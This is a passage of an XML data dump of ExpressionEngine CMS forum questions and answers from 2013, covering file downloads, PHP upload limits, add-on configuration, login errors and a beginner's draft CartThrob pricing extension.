  <row Id="6657" PostTypeId="2" ParentId="6656" CreationDate="2013-02-22T20:27:16.197" Score="1" Body="&lt;p&gt;This could work with Link Vault or any of the link-obsfucation plugins (CartThrob has one built-in, for example). Just pass the plugin the &lt;code&gt;{server_path}&lt;/code&gt; Assets variable.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-22T20:27:16.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6658" PostTypeId="2" ParentId="6656" CreationDate="2013-02-22T20:58:05.663" Score="2" Body="&lt;p&gt;You can definitely use Link Vault to serve files that are above web root. There are a few different ways to construct a download link with Link Vault. Link Vault expects the path supplied to be relative to the web root so any one of these would work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:link_vault:download_link directory='../../files/' file_name='file.zip' }&#xA;{exp:link_vault:download_link file_path='../../files/file.zip' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the file does happen to be below web root, you can even use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:link_vault:download_link file_path='http://example.com/images/cat.jpg' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The link that is generated gets encrypted so your files are safe and hackers can't just modify the parameters to go searching through your files (abbreviated example) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com?ACT=50&amp;amp;file=eomDdQoswRC%2FqjxKLXR2Te0hebW7dtx%2B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're always available in the &lt;a href=&quot;http://devot-ee.com/add-ons/support/link-vault/viewforum/2016&quot; rel=&quot;nofollow&quot;&gt;support forum&lt;/a&gt; if you need help.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2013-02-22T20:58:05.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6659" PostTypeId="1" AcceptedAnswerId="6660" CreationDate="2013-02-22T21:01:10.373" Score="3" ViewCount="7167" Body="&lt;p&gt;I'm trying to increase the upload file size for my EE installation to 120MB.  I have verified that I can modify these settings with my hosting service by adding a php.ini file to my webspace and placing the following code in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;upload_max_filesize=120M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have done this, and when I go to utilities and view the setting for that parameter, it shows that its been changed to 120M, but I am not able to upload a file that is 14.7MB.  I get an error in EE stating that the file size has exceeded the limits in my php configuration.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-23T01:21:39.483" Title="increase upload_max_filesize with php.ini" Tags="|file-uploads|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6660" PostTypeId="2" ParentId="6659" CreationDate="2013-02-22T21:17:33.063" Score="3" Body="&lt;p&gt;Try setting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;post_max_size=120M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.php.net/manual/en/ini.core.php#ini.post-max-size&quot; rel=&quot;nofollow&quot;&gt;http://www.php.net/manual/en/ini.core.php#ini.post-max-size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2013-02-22T21:17:33.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6661" PostTypeId="1" AcceptedAnswerId="6662" CreationDate="2013-02-23T00:52:43.183" Score="1" ViewCount="103" Body="&lt;p&gt;I have Google Maps for EE installed, and I am using it to display a full page map with all my entries on. (Currently at about 150 entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However at least the first 50 of these entries are not showing.&#xA;Each entry has an individual marker that displays correctly on its own single page view, but its completely missing from the full map view view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres my code that I am using to display the full map.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;map-holder-main&quot;&amp;gt;&#xA;&#xA;    {exp:gmap:init id=&quot;map2&quot; scrollwheel=&quot;false&quot; style=&quot;width:100%;height:100%&quot;}&#xA;&#xA;    {exp:channel:entries channel=&quot;walks&quot; disable=&quot;member_data|pagination&quot;}&#xA;&#xA;        {exp:gmap:marker id=&quot;map2&quot; latitude=&quot;{latitude}&quot; longitude=&quot;{longitude}&quot; geocode=&quot;false&quot; clustering=&quot;false&quot; show_one_window=&quot;true&quot; maxWidth=&quot;200&quot;}&#xA;&#xA;            {lv_walkdetails_map}&#xA;&#xA;        {/exp:gmap:marker}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea as to why these first 50 or so entries in the channel are not showing?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-23T01:11:11.287" Title="Google Maps for EE, not showing all entries?" Tags="|google-maps|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6662" PostTypeId="2" ParentId="6661" CreationDate="2013-02-23T01:11:11.287" Score="1" Body="&lt;p&gt;The &lt;code&gt;exp:channel:entries&lt;/code&gt; tag has a default of &lt;code&gt;limit=&quot;100&quot;&lt;/code&gt; so you need to override that with &lt;code&gt;limit=&quot;300&quot;&lt;/code&gt; or a number large enough to accomplish what you need to do.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-23T01:11:11.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6663" PostTypeId="2" ParentId="6659" CreationDate="2013-02-23T01:21:39.483" Score="4" Body="&lt;p&gt;There are multiple PHP settings you should change to allow for larger file uploads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;upload_max_filesize&lt;/li&gt;&#xA;&lt;li&gt;max_input_time&lt;/li&gt;&#xA;&lt;li&gt;memory_limit&lt;/li&gt;&#xA;&lt;li&gt;max_execution_time&lt;/li&gt;&#xA;&lt;li&gt;post_max_size&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://www.radinks.com/upload/config.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;page gives details&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-23T01:21:39.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6664" PostTypeId="1" CreationDate="2013-02-23T02:47:20.423" Score="2" ViewCount="192" Body="&lt;p&gt;I have &lt;a href=&quot;https://i.stack.imgur.com/ljDyD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;a project&lt;/a&gt; that requires a lot of individual fields specific to a page. I am looking to use a single field group, and hide unwanted fields from a client so they can edit a section on the one page rather than editing individual channel entries. From what I can tell, there are a couple of addons to go about this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Entry Layout&lt;/strong&gt; - Which looks like it hasn't been updated in a long time, and on installation I'm getting this error (same as &lt;a href=&quot;http://devot-ee.com/add-ons/support/entry-layout/viewthread/934&quot; rel=&quot;nofollow noreferrer&quot;&gt;another&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class Entrylayout_ext does not exist in (ext.entrylayout.php) &#xA;Filename: cp/addons_extensions.php&#xA;Line Number: 107&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Content Elements&lt;/strong&gt; - probably wouldn't work, with fieldtypes limited to their own (matrix is required)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blueprints&lt;/strong&gt; - probably best candidate, but it's unclear if you can set fields on an individual entry basis. I would also like to lock the fields once set so they don't go screwing things up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each method has it's ups and downs. Any thought's on my best approach? Entry Layout feels like it would be the easiest fit but unfortunately it looks like it's dead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do, what to do!?&lt;/p&gt;&#xA;" OwnerUserId="1056" LastActivityDate="2013-02-23T23:43:29.637" Title="Publish layouts for channel entries, not just channel groups" Tags="|add-on|custom-fields|publish-layout|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6665" PostTypeId="1" CreationDate="2013-02-23T04:15:07.133" Score="2" ViewCount="572" Body="&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt; When trying to login via the front-end as a member, the error &quot;you are not authorised to perform this action&quot; appears. The url for the error page is that of another MSM site. If I go to original site, I am logged in as that user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Setup:&lt;/strong&gt; &#xA;- EE version 5.5.2&#xA;- Multisite Manager &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Require IP Address : NO&lt;/li&gt;&#xA;&lt;li&gt;User Agent for Login : NO&lt;/li&gt;&#xA;&lt;li&gt;Secure Forms: NO&lt;/li&gt;&#xA;&lt;li&gt;Deny Duplicate Data: NO&lt;/li&gt;&#xA;&lt;li&gt;Sessions are using cookies only&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blacklist module: not installed&#xA;Securitee - Installed but with minimal settings active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have tried the following to no avail:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Logging in via default EE member templates and via template created&#xA;with Freemember. &lt;/li&gt;&#xA;&lt;li&gt;Removed &quot;Freemember&quot; and &quot;User&quot;&lt;/li&gt;&#xA;&lt;li&gt;Tried from different device and different IP Address&lt;/li&gt;&#xA;&lt;li&gt;Tried disabling all extensions using config.php&lt;/li&gt;&#xA;&lt;li&gt;Tried removing my htaccess &lt;/li&gt;&#xA;&lt;li&gt;Clearing site cache, and browser cache&lt;/li&gt;&#xA;&lt;li&gt;Creating new members, &lt;/li&gt;&#xA;&lt;li&gt;Signing onto front end as superadmin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I noticed in my config.php I have a token for $config['XID'] =&#xA;Should this be there? I have read that this can cause such issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help - Im not sure what to try next. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went onto Site3 Front end and I created a user in the Members group. When I login from the front end of either Site1 or Site2, it all works okay, (even thought I signed up as a member to Site3.) But it wont let me login nicely to Site3! The url is redirecting to Site1 first saying im not authorised. &lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="782" LastEditDate="2013-02-24T22:41:54.553" LastActivityDate="2013-02-26T04:18:49.307" Title="Front end login error - &quot;not authorised to perform this action&quot;" Tags="|members|multi-site-manager|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6667" PostTypeId="1" AcceptedAnswerId="6672" CreationDate="2013-02-23T06:08:49.833" Score="1" ViewCount="100" Body="&lt;p&gt;having a bit of trouble getting the url_title from the filled out safecracker form to appear correctly, here is what i have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;channel=&quot;personal_trainer_directory&quot;&#xA;entry_id=&quot;&quot;&#xA;safecracker_head=&quot;no&quot;&#xA;use_live_url=&quot;no&quot;&#xA;url_title=&quot;&quot;&#xA;}&#xA;{exp:membrr:subscriptions}&#xA;&amp;lt;span id=&quot;ptmember&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{site_url}member/update-personal-trainer-page/{subscription_id}/{url_title}/&quot;&amp;gt;Update Personal Trainer Page&amp;lt;/a&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;{/exp:membrr:subscriptions}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;im trying to get the name to appear in the segment and then on the next page will be the safecracker where i can put {segment_4} for the url_title so the form will be able to edit the entry.. but with the way it is now, nothing is showing up for {url_title}.  &lt;/p&gt;&#xA;" OwnerUserId="941" LastEditorUserId="426" LastEditDate="2013-02-25T11:44:14.180" LastActivityDate="2013-02-25T11:44:14.180" Title="{url_title} In URL, and Edit Form on Next Page" Tags="|safecracker|segments|membrr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6668" PostTypeId="2" ParentId="6664" CreationDate="2013-02-23T06:58:21.593" Score="1" Body="&lt;p&gt;This bug in Entry Layout has just been fixed, download the latest release :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dukt/addon.eecms.entry-layout/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dukt/addon.eecms.entry-layout/archive/master.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="614" LastActivityDate="2013-02-23T06:58:21.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6669" PostTypeId="1" CreationDate="2013-02-23T08:37:10.493" Score="2" ViewCount="174" Body="&lt;p&gt;I have 6 entries which should show up, but when i use the code below it gives as return just three results. I think the problem is the &lt;strong&gt;category=&quot;not 3&quot;&lt;/strong&gt;, does anybody has some experience with the category parameter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_yearly_archives &#xA;       channel=&quot;agenda&quot; &#xA;       start_month=&quot;1&quot; &#xA;       category=&quot;not 3&quot; &#xA;       show_expired=&quot;yes&quot; &#xA;       show_future_entries=&quot;yes&quot; &#xA;       sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/{year}&quot; data-toggle=&quot;tab&quot;&amp;gt;{year}&#xA;    &amp;lt;span class=&quot;badge badge-warning pull-right&quot;&amp;gt;{entries_in_year}&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:low_yearly_archives}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="656" LastActivityDate="2013-02-24T10:48:21.997" Title="Low yearly archives wrong return" Tags="|categories|low-yearly-archives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6670" PostTypeId="2" ParentId="6669" CreationDate="2013-02-23T11:16:54.757" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives/docs#tags&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt;, the &lt;code&gt;category&lt;/code&gt; parameter &lt;del&gt;isn't&lt;/del&gt; is available in Low Yearly Archives, but isn't documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the behaviour is the same as the native channel:entries tag, so you could be running into this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When you use the category=&quot;3|4&quot; parameter (not excluding), you are implicitly telling ExpressionEngine to only deal with entries that have been assigned one or more categories. If you have entries that haven’t been categorized then they will be ignored and not included in the results. However, if you are using exclusion (category=&quot;not 3|4&quot;), then you will be shown all entries without those categories including those without any categories assigned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;See the docs on this.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, defining &lt;code&gt;category=&quot;not 3&quot;&lt;/code&gt; will exclude entries that &lt;strong&gt;only&lt;/strong&gt; have category 3. If an entry has category 3 &lt;strong&gt;and&lt;/strong&gt; another category assigned, it won't be excluded.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-02-24T10:48:21.997" LastActivityDate="2013-02-24T10:48:21.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6671" PostTypeId="1" AcceptedAnswerId="6673" CreationDate="2013-02-23T11:44:39.237" Score="1" ViewCount="342" Body="&lt;p&gt;This is starting to make me tear my hair out. I've worked with NSM config bootstrap (&lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-config-bootstrap&lt;/a&gt;) on several sites now. It enables you to set your database connection details in the bootstrap file, which should override database.php, and they change depending on which server environment you're looking at. The issue I'm having is that changing my connection settings in the bootstrap file isn't overwriting the settings in database.php, so I'm getting connection errors on either the local or the stage, depending on what I put in database.php. My file structure is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system&#xA;    expressionengine&#xA;        config&#xA;            config.php&#xA;            database.php&#xA;            config_bootstrap.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the bottom of config.php and database.php I have this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(realpath(dirname(__FILE__) . '/config_bootstrap.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant part of my bootstrap file looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define the environment settings&#xA;&#xA;$env_config = array();&#xA;$env_db_config = array();&#xA;$env_global_vars = array();&#xA;&#xA;// Set the environmental config and global vars&#xA;if (NSM_ENV == 'local') {&#xA;    $env_db_config = array(&#xA;        'hostname' =&amp;gt; 'localhost',&#xA;        'database' =&amp;gt; 'database',&#xA;        'username' =&amp;gt; 'username',&#xA;        'password' =&amp;gt; 'password',&#xA;    );&#xA;    $env_global_vars = array(&#xA;        'global:cm_subscriber_list_slug' =&amp;gt; ''&#xA;    );&#xA;}&#xA;elseif(NSM_ENV == 'staging') {&#xA;    $env_db_config = array(&#xA;        'hostname' =&amp;gt; 'localhost',&#xA;        'database' =&amp;gt; 'database',&#xA;        'username' =&amp;gt; 'username',&#xA;        'password' =&amp;gt; 'password',&#xA;    );&#xA;&#xA;    $env_global_vars = array(&#xA;        'global:cm_subscriber_list_slug' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $env_config = array(&#xA;        'webmaster_email' =&amp;gt; 'webmaster@' . NSM_SERVER_NAME,&#xA;        'webmaster_name' =&amp;gt; 'Webmaster',&#xA;    );&#xA;}&#xA;else {&#xA;    $env_db_config = array(&#xA;        'hostname' =&amp;gt; '',&#xA;        'database' =&amp;gt; '',&#xA;        'username' =&amp;gt; '',&#xA;        'password' =&amp;gt; '',&#xA;    );&#xA;    $env_global_vars = array(&#xA;        'global:cm_subscriber_list_slug' =&amp;gt; '',&#xA;        'global:google_analytics_key' =&amp;gt; 'XX-XXXX'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the bootstrap file is being included, as it's also setting things like my template directory and file upload paths etc correctly, it appears that it's just the database settings that it's not overriding. I thought it may be permissions, but database and config files are 666, so it should be ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what other information I need to include if this isn't enough.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-02-23T14:02:03.007" Title="NSM Config Bootstrap is not overwriting the settings in database.php" Tags="|database|bootstrap|config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6672" PostTypeId="2" ParentId="6667" CreationDate="2013-02-23T13:40:43.870" Score="2" Body="&lt;p&gt;Your safecracker tag should contain the complete &lt;code&gt;url_title=&quot;{segment_4}&quot;&lt;/code&gt; (if url_title is  empty, you get an empty form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#id3&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#id3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-02-23T13:40:43.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6673" PostTypeId="2" ParentId="6671" CreationDate="2013-02-23T14:02:03.007" Score="0" Body="&lt;p&gt;Ok, problem solved. I don't understand WHY this fixes it though so if anyone could comment on that, much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My config.php and database.php files have this at the bottom of them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(realpath(dirname(__FILE__) . '/config_bootstrap.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require(realpath(dirname(__FILE__) . '/config_bootstrap.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it all works as it should. It doesn't seem to matter if config.php is require or require_once, but database.php has to be require.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-02-23T14:02:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6674" PostTypeId="1" CreationDate="2013-02-23T15:02:27.250" Score="1" ViewCount="165" Body="&lt;p&gt;I'm using CartThrob to sell tickets. I create a channel entry for each day and then use options for Adult, Child and Student tickets. I'm trying to write a function for an extension that would give the purchaser 2 free Child tickets whenever they purchase an Adult ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function I tried to write is as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cartthrob_reduce_tour_inventory()&#xA;{&#xA;    foreach ($this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items() as $item)&#xA;    {&#xA;        if($item-&amp;gt;item_options('ticket_type') == &quot;Adult&quot;)&#xA;        {&#xA;            //add two child tickets to cart&#xA;            $item-&amp;gt;item_options('ticket_type') == &quot;Child&quot;)-&amp;gt;set_quantity() * 2);&#xA;            //set the price to free&#xA;            $item-&amp;gt;set_price(0);&#xA;        }&#xA;    }&#xA;&#xA;    return; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the first time I have tried to write a function here, so please excuse what is probably nowhere near what it needs to be. I would be grateful if someone might be able to help? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code in full for the extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;class Cartthrob_tour_group_pricing_ext&#xA;{&#xA;    public $settings = array();&#xA;    public $name = 'CartThrob Tour Group Pricing';&#xA;    public $version = '1.0.1';&#xA;    public $description = 'Reduces child inventory by 2 when an adult ticket is selected. Handles flat rate for 10 or more tickets.';&#xA;    public $settings_exist = 'y';&#xA;    public $docs_url = 'http://barrettnewton.com';&#xA;&#xA;    protected $EE;&#xA;&#xA;    public function __construct($settings = '')&#xA;    {&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;settings = $settings;&#xA;    }&#xA;&#xA;&#xA;    public function activate_extension()&#xA;    {&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert(&#xA;            'extensions',&#xA;            array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; 'cartthrob_reduce_inventory',&#xA;            'hook'  =&amp;gt; 'cartthrob_on_authorize',&#xA;            'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;            )&#xA;        );          &#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert(&#xA;            'extensions',&#xA;            array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; 'cartthrob_set_group_prices',&#xA;            'hook'  =&amp;gt; 'cartthrob_add_to_cart_end',&#xA;            'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;            )&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert(&#xA;            'extensions',&#xA;            array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; 'cartthrob_set_group_prices',&#xA;            'hook'  =&amp;gt; 'cartthrob_multi_add_to_cart_end',&#xA;            'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;            )&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert(&#xA;            'extensions',&#xA;            array(&#xA;            'class' =&amp;gt; __CLASS__,&#xA;            'method' =&amp;gt; 'cartthrob_set_group_prices',&#xA;            'hook'  =&amp;gt; 'cartthrob_update_cart_end',&#xA;            'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;            'priority' =&amp;gt; 10,&#xA;            'version' =&amp;gt; $this-&amp;gt;version,&#xA;            'enabled' =&amp;gt; 'y'&#xA;            )&#xA;        );&#xA;    }&#xA;    public function update_extension($current='')&#xA;    {&#xA;        if ($current == '' OR $current == $this-&amp;gt;version)&#xA;        {&#xA;            return FALSE;&#xA;        }&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update(&#xA;            'extensions',&#xA;            array('version' =&amp;gt; $this-&amp;gt;version),&#xA;            array('class' =&amp;gt; __CLASS__)&#xA;        );&#xA;    }&#xA;    public function disable_extension()&#xA;    {&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;delete('extensions', array('class' =&amp;gt; __CLASS__));&#xA;    }&#xA;&#xA;&#xA;    function settings()&#xA;    {&#xA;        $settings = array();&#xA;&#xA;        $settings['quota']                  = array('i', '', &quot;10&quot;);&#xA;        $settings['adult_group_rate']       = array('i', '', &quot;9.00&quot;);&#xA;        $settings['child_group_rate']       = array('i', '', &quot;3.60&quot;);&#xA;        $settings['student_group_rate']     = array('i', '', &quot;7.20&quot;);&#xA;&#xA;        return $settings;&#xA;    }&#xA;&#xA;    function cartthrob_reduce_tour_inventory()&#xA;    {&#xA;        foreach ($this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items() as $item)&#xA;        {&#xA;            if($item-&amp;gt;item_options('tour_pass_type') == &quot;Adult&quot;)&#xA;            {&#xA;                //add two child tickets to cart&#xA;                $item-&amp;gt;item_options('tour_pass_type') == &quot;Child&quot;)-&amp;gt;set_quantity() * 2);&#xA;                //set the price to free&#xA;                $item-&amp;gt;item_options('tour_pass_type') == &quot;Child&quot;)-&amp;gt;set_price(0);&#xA;            }&#xA;        }&#xA;&#xA;        return; &#xA;    }&#xA;    function cartthrob_set_tour_group_prices()&#xA;    {&#xA;        $ticket_count = array();&#xA;        foreach($this-&amp;gt;EE-&amp;gt;cartthrob-&amp;gt;cart-&amp;gt;items() as $item)&#xA;        {&#xA;            if($item-&amp;gt;item_options('tour_pass_time'))&#xA;            {&#xA;                $ticket_date = $item-&amp;gt;title();&#xA;                $ticket_time = $item-&amp;gt;item_options('tour_pass_time');&#xA;                if(!isset($ticket_count[$ticket_date.$ticket_time]))&#xA;                {&#xA;                    $ticket_count[$ticket_date.$ticket_time]['count'] = 0;&#xA;                    $ticket_count[$ticket_date.$ticket_time]['items'] = array();&#xA;                }&#xA;                // need to keep the original price stored somewhere in case we need to revert back to the non-group rate&#xA;                if(!$item-&amp;gt;meta('original_price'))&#xA;                {&#xA;                    $item-&amp;gt;set_meta('original_price', $item-&amp;gt;price());&#xA;                }&#xA;                $ticket_count[$ticket_date.$ticket_time]['count'] += $item-&amp;gt;quantity();&#xA;                $ticket_count[$ticket_date.$ticket_time]['items'][] = $item;&#xA;            }&#xA;        }&#xA;        // check the number of tickets being purchased&#xA;        foreach($ticket_count as $ticket)&#xA;        {&#xA;            // is the number of tickets being purchased equal to or greater than the quota?&#xA;            if($ticket['count'] &amp;gt;= $this-&amp;gt;settings['quota'])&#xA;            {&#xA;                // evaluate each ticket item&#xA;                foreach($ticket['items'] as $ticket_item)&#xA;                {&#xA;                    //if statement here to set price per ticket type&#xA;&#xA;&#xA;                    // set the price of each item to appropriate rate&#xA;                    $ticket_item-&amp;gt;set_price($this-&amp;gt;settings[$ticket_item-&amp;gt;meta('ticket_peak_rate')]);&#xA;                }&#xA;            }&#xA;            else&#xA;            {&#xA;                foreach($ticket['items'] as $ticket_item)&#xA;                {&#xA;                    // set the price of each item to the original price&#xA;                    $ticket_item-&amp;gt;set_price($ticket_item-&amp;gt;meta('original_price'));&#xA;                }&#xA;            }&#xA;        }&#xA;        return;&#xA;    }&#xA;    // END&#xA;}&#xA;//END CLASS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastEditorUserId="466" LastEditDate="2013-02-24T13:33:56.990" LastActivityDate="2013-02-24T13:33:56.990" Title="Function to give 2 free product options in CartThrob" Tags="|cartthrob|" AnswerCount="0" CommentCount="7" 